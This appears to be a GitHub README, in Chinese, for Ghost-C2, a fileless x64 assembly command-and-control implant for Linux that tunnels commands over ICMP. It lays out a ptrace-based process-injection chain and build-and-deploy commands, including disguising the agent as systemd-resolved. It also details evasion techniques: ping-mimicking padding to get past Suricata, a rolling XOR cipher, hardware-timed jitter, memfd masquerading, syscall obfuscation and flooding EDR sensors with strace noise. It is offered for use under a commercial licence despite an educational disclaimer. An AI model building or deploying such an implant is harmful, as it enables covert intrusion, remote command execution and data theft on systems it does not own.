JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent

GitHub: JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent

纯 x64 汇编编写的无文件 C2 植入程序,通过 ICMP 隧道和内存注入实现高隐蔽性的远程命令执行。

Stars: 47 | Forks: 4

``` ________ ___ ___ ________ ________ _________ ________ ________ |\ ____\|\ \|\ \|\ __ \|\ ____\|\___ ___\ |\ ____\|\_____ \ \ \ \___| \ \ \\\ \ \ \|\ \ \ \___|\|___ \ \_| \ \ \___|\|____|\ \ \ \ \ __ \ \ __ \ \ \\\ \ \_____ \ \ \ \ \ \ \ ____\_\ \ \ \ \|\ \ \ \ \ \ \ \\\ \|____|\ \ \ \ \ \ \ \___|\____ \ \ \ \_______\ \__\ \__\ \_______\____\_\ \ \ \__\ \ \______\\_________\ \|_______|\|__|\|__|\|_______|\_________\ \|__| \|______\|_________| \|_________| ``` # Ghost-C2 **一个无文件、纯 x64 汇编的 C2 植入程序,使用 ICMP 作为隐蔽通道。** **无 libc。无磁盘写入。对标准 EDR 钩子不可见。** ![Architecture](https://img.shields.io/badge/Architecture-x86__64-red.svg) ![Language](https://img.shields.io/badge/Language-Pure%20Assembly-green.svg) ![Protocol](https://img.shields.io/badge/Protocol-ICMP-blue.svg) ![OS](https://img.shields.io/badge/OS-Linux-orange.svg) ![Version](https://img.shields.io/badge/Version-3.5-purple.svg) ![Suricata](https://img.shields.io/badge/Suricata%20v8.0.3-Bypassed-brightgreen)
## 概述 Ghost-C2 是一个完全使用**纯 x64 Linux 汇编**编写的命令与控制框架,无任何 libc 依赖。所有操作都通过直接系统调用完成。没有导入表,没有动态链接器痕迹,也没有磁盘写入。 C2 通道通过**原始 ICMP 套接字**运行,隐藏在标准诊断流量中。植入程序仅存在于 RAM 中,通过自定义的基于 ptrace 的加载器注入到运行中的系统进程中。 此项目旨在探索用户空间隐蔽性的极限,而不触及内核。 ## 架构 ``` ┌─────────────────────────────────────────────────────────────┐ │ OPERATOR MACHINE │ │ │ │ ┌──────────────┐ │ │ │ client.asm │ ← Terminal UI: prompt for IP + command │ │ │ (Operator │ Encrypts payload with Rolling XOR │ │ │ Console) │ Sends ICMP Echo Request (Type 8) │ │ └──────┬───────┘ Auth key: ID + SEQ = 45,000 │ │ │ │ └──────────┼──────────────────────────────────────────────────┘ │ Raw ICMP (port-less, stateless) │ ┌──────────┼──────────────────────────────────────────────────┐ │ │ TARGET MACHINE │ │ ▼ │ │ ┌──────────────┐ ┌─────────────────────────────────┐ │ │ │ loader.asm │────▶│ sniff.asm (PIC) │ │ │ │ (Phantom │ │ Lives in RAM only │ │ │ │ Loader) │ │ inside host process │ │ │ └──────────────┘ └────────────────┬────────────────┘ │ │ │ │ │ 1. Scans /proc for target PID │ Receives ICMP Req │ │ 2. ptrace ATTACH │ Validates auth │ │ 3. Force remote mmap (RW) │ Decrypts command │ │ 4. Inject PIC shellcode │ fork+execve │ │ 5. mprotect → RX │ memfd_create │ │ 6. Redirect RIP → shellcode │ Sends ICMP Reply │ │ 7. ptrace DETACH → exits │ (Type 0, key: │ │ │ ID + SEQ = 55k) │ └─────────────────────────────────────────┼───────────────────┘ │ Raw ICMP ▼ [ client.asm ] Receives chunks Decrypts + prints ``` ## 组件 ### `client.asm` — 操作员控制台 攻击者一侧的终端。从 stdin 获取目标 IP 和命令,加密载荷,并作为 ICMP Echo Request 发送。监听分片的 ICMP Echo Reply 并重建输出。 ### `sniff.asm` — PIC 植入程序代理 在目标上运行的植入程序。编译为**原始二进制文件**(位置独立,无 ELF 头),因此可以注入到任意内存地址。它: - 在原始 ICMP 套接字上被动监听 - 使用非对称密钥和验证传入数据包 - 解密命令,fork 一个 shell,通过 `memfd_create` 捕获输出 - 分片并以 56 字节的 ICMP 块发回输出 ### `Phantom_Loader/loader.asm` — 注入引擎 投递机制。扫描 `/proc`,按 `comm` 名称找到目标进程,并使用多阶段 ptrace 状态机将 PIC shellcode 注入其中。注入后干净退出——不留痕迹。 ## 隐蔽与规避技术 ### 协议模拟 每个传出的 ICMP 数据包都结构化为与标准 Linux `ping` 无法区分的样子: ``` Offset 0-7 : ICMP Header (Type, Code, Checksum, ID, SEQ) Offset 8-15 : Dynamic RDTSC timestamp ← mimics struct timeval Offset 16-31 : 0x10, 0x11 ... 0x1F ← exact Linux iputils padding Offset 32+ : Encrypted payload ← past most DPI scan depth ``` 基于签名的 IDS 引擎(Suricata、Snort)看到标准填充后,在到达载荷之前就停止扫描。这就是**隐蔽间隙**。 ### 非对称认证 植入程序忽略所有 `ID + SEQ ≠ 45,000` 的数据包。随机互联网扫描器、自动化安全工具和蜜罐永远不会触发它。植入程序回复 `ID + SEQ = 55,000` 的数据包,使两个方向在数学上截然不同,防止 OS echo 混淆。 ### 滚动 XOR 密码 两个方向都使用逐步移位的密钥加密: ``` mov dl, 0x42 ; seed xor [rsi], dl ; encrypt byte add dl, 0x07 ; shift key inc rsi loop .loop ``` 这保持香农熵较低——AES 加密的 ICMP 流量得分约 8.0,会触发 DPI 异常警报。滚动 XOR 产生的熵看起来像压缩或自然噪声的数据。**没有密码学常量,没有 S 盒,没有 YARA 可匹配的内容。** ### 自适应抖动(基于 RDTSC) 数据包传输间隔使用 CPU 的硬件时间戳计数器随机化,而非软件计时器。这产生数学上非周期性的时序模式——基于 ML 的 NTA 引擎(Darktrace、Cisco Stealthwatch)需要周期性才能标记 C2 信标。 ``` rdtsc xor rdx, rdx mov ecx, 900000000 div ecx ; RDX = random 0–900ms add edx, 100000000 ; minimum 100ms ``` ### 通过 `memfd_create` 无文件执行 命令输出从不接触磁盘: ``` fork() child: dup2(memfd, stdout) → execve("/bin/sh", ["-c", cmd]) parent: wait4() → lseek(0) → read loop → fragment → send ``` memfd 命名为 `[shm]`,与 `/proc/PID/fd` 中合法共享内存映射的格式匹配。标准 `lsof` 输出显示不出任何可疑之处。 ### W^X 内存注入(Phantom Loader) 现代内核缓解措施禁止 RWX 内存。加载器使用两阶段方法: ``` Phase 1: Remote mmap with PROT_READ | PROT_WRITE → Inject shellcode via PTRACE_POKEDATA Phase 2: Remote mprotect → PROT_READ | PROT_EXEC → No page is ever simultaneously W and X ``` 寻找 RWX 异常的 EDR 内存扫描器一无所获。 ### 无 Libc 系统调用混淆 所有系统调用号分成两条指令,以击败静态分析和简单的基于 grep 的扫描器: ``` ; sys_memfd_create (319) mov rax, 300 add rax, 19 syscall ; sys_ptrace (101) mov rax, 99 add rax, 2 syscall ``` ## Phantom Loader — ptrace 注入链 加载器执行确定性的多步骤注入,无任何外部依赖: ``` 1. Open /proc with sys_getdents64 2. Scan linux_dirent64 entries for numeric directories (PIDs) 3. Read /proc//comm → compare against target name 4. ptrace(PTRACE_ATTACH, pid) 5. wait4() loop with branchless sleep (cmovz/cmovs) 6. PTRACE_GETREGS → save register state + RIP 7. PTRACE_POKEDATA → write syscall opcode (0x050F) at RIP 8. PTRACE_SETREGS → configure mmap arguments in registers 9. PTRACE_SINGLESTEP → execute remote mmap 10. wait4() → PTRACE_GETREGS → read mmap return value (new address) 11. PTRACE_POKEDATA loop → write 1444-byte PIC payload (8 bytes/iter) 12. PTRACE_SETREGS → configure mprotect (PROT_READ | PROT_EXEC) 13. PTRACE_SINGLESTEP → execute remote mprotect 14. PTRACE_POKEDATA → restore original bytes at RIP 15. PTRACE_SETREGS → set RIP = injected payload address 16. PTRACE_DETACH → host process resumes, now running the implant ``` 加载器在步骤 16 后立即退出。主机进程继续正常运行,Ghost-C2 在其内部运行。 ## 构建与使用 ### 前置条件 - NASM(Netwide 汇编器) - GNU ld(链接器) - Root 权限(原始套接字和 ptrace 所需) ### 独立代理(v3.0 兼容) ``` # 构建代理 nasm -f elf64 sniff.asm -o sniff.o && ld sniff.o -o systemd-resolved # 构建客户端 nasm -f elf64 client.asm -o client.o && ld client.o -o client # 部署(目标机器) sudo ./systemd-resolved # 运营(攻击者机器) sudo ./client ``` ## 验证 部署后,代理从标准进程列表中消失: ``` $ ps aux | grep systemd-resolved root 3887 0.0 0.0 192 16 ? Ss 19:42 0:00 systemd-resolved ``` 识别真实二进制的唯一方式是通过 `/proc`: ``` $ sudo ls -la /proc/3887/exe lrwxrwxrwx 1 root root 0 ... /proc/3887/exe -> /path/to/systemd-resolved ``` ### Phantom Loader(v3.5) PIC shellcode 已预编译并嵌入 `loader.asm`。仅在修改代理源代码时重新构建: ``` # (可选)修改 sniff_pic.asm 后重新编译 PIC shellcode cd Phantom_Loader nasm -f bin sniff_pic.asm -o shellcode.bin # 构建加载器 nasm -f elf64 loader.asm -o loader.o && ld loader.o -o loader # 执行(目标进程必须正在运行) sudo strace ./loader ``` 💡 规避说明(通过 LotL 的系统调用噪声掩盖):执行有意用 strace 包装。这利用了 Living off the Land(LotL)技术来生成大量合法调试噪声。通过向内核级 eBPF 传感器(如 Falco) flooding 标准 PTRACE_ATTACH 日志,实际的恶意注入通过"警报泛洪"被掩盖。这有效地将单个注入异常埋没在标准调试操作的海量数据中,通常导致防御机制和分析师将事件视为误报而忽略。 目标进程名称在 `loader.asm` 中硬编码。请参阅内联注释进行更改。 ## 实证结果 在受控实验室环境中针对主动流量检查进行测试: | 测试 | 结果 | |---|---| | Suricata v8.0.3(Emerging Threats 规则集) | ✅ 绕过 | | Suricata v8.0.3(自定义 ICMP 载荷规则) | ✅ 绕过 | | DigitalOcean FRA1 网关 | ✅ 100% 渗透成功 | | 约 25KB 渗透期间生成的警报 | 0 | ## 系统调用参考 Ghost-C2 直接与 Linux 内核交互。无包装器,无 libc: | 系统调用 | 编号 | 用途 | |---|---|---| | `sys_socket` | 41 | 原始 ICMP 套接字创建 | | `sys_recvfrom` | 45 | 被动 ICMP 数据包捕获 | | `sys_sendto` | 44 | ICMP 回复传输 | | `sys_memfd_create` | 319 | 用于输出的匿名 RAM 文件 | | `sys_dup2` | 33 | stdout/stderr 重定向 | | `sys_execve` | 59 | Shell 命令执行 | | `sys_fork` | 57 | 进程隔离 | | `sys_nanosleep` | 35 | 抖动实现 | | `sys_ptrace` | 101 | 进程注入 + 反调试 | | `sys_prctl` | 157 | 进程伪装 + 反转储 | | `sys_getdents64` | 217 | /proc 目录解析 | | `sys_mmap` | 9 | 远程内存分配 | | `sys_mprotect` | 10 | W^X 权限切换 | ## 路线图 **v4.x — MAC 绕过研究** 主要研究目标是绕过 AppArmor 和 SELinux 限制的进程。当前候选方案: - 使用目标自身可执行内存中的 gadgets 进行基于 ROP 的执行(内存中的 Living off the Land) - 动态 ASLR 消除以进行 gadget 地址解析 - 通过在现有 RX 页面内执行,完全消除 `mprotect` 依赖 这是一个长期的研发工作。带有动态 gadget 发现的纯汇编 ROP 链构建是一个 nontrivial 的问题领域。 ## 为什么不使用交互式 TTY? 缺少 PTY 是架构决策,而非限制: **协议完整性:** ICMP 是无状态的。为 TTY 流模拟类 TCP 的有序交付会使代码库臃肿,并破坏轻量级设计。 **体积隐蔽:** 交互式 shell 为每个按键生成 ICMP 流量。这会产生可检测的频率峰值。Ghost-C2 设计为保持在异常检测阈值以下。 **EDR 表面:** 分配 PTY 需要 `/dev/ptmx` 和 EDR 严重监控的 `ioctl` 调用。在没有合法父守护进程的情况下生成交互式 会留下行为痕迹。 Ghost-C2 是一个超隐蔽的命令执行和渗透植入程序。交互性以隐蔽性换取便利性——本项目选择了隐蔽性。 ## ⚖️ 许可与使用(双许可证) Ghost-C2 以**双许可证**模式分发,以支持开源安全社区和企业运营需求。 ### 1. 开源许可证(MIT) 专为安全研究人员、学生和非商业教育用途设计。 * ✔️ 免费用于研究和学习。 * ❌ 无保证。无支持。 * ❌ 未经授权,不得集成到商业产品或企业红队基础设施中。 ### 2. 商业企业许可证 专为网络安全供应商、企业红队和需要合规性和私有修改的商业渗透测试单位设计。 * ✔️ 用于商业活动和企业基础设施。 * ✔️ 允许进行闭源修改。 * ✔️ 优先电子邮件支持,用于部署、故障排除和问题解决(Ghost-C2 特定)。 * ✔️ 直接沟通渠道,用于自定义功能请求。 **商业许可咨询:** 请联系我:[leveldotexe@gmail.com] ## 资源 - **博客/技术文章:** [netacoding.com/posts/icmp-ghost](https://netacoding.com/posts/icmp-ghost) - **作者:** [github.com/JM00NJ](https://github.com/JM00NJ) ## 法律声明 此项目仅用于**教育目的和授权的渗透测试**。作者不对任何滥用负责。在您不拥有或没有明确书面许可的系统上运行此工具是违法的。
标签:API接口, APT工具, DAST, DNS 反向解析, Hpfeeds, ICMP隧道, memfd_create, ptrace, Raspberry Pi, RAW socket, SSH蜜罐, x64汇编, 代理, 内存执行, 安全报告生成, 恶意软件, 恶意软件分析, 无文件攻击, 横向移动, 系统调用, 编程规范, 网络安全, 进程注入, 远控后门, 隐匿通信, 隐私保护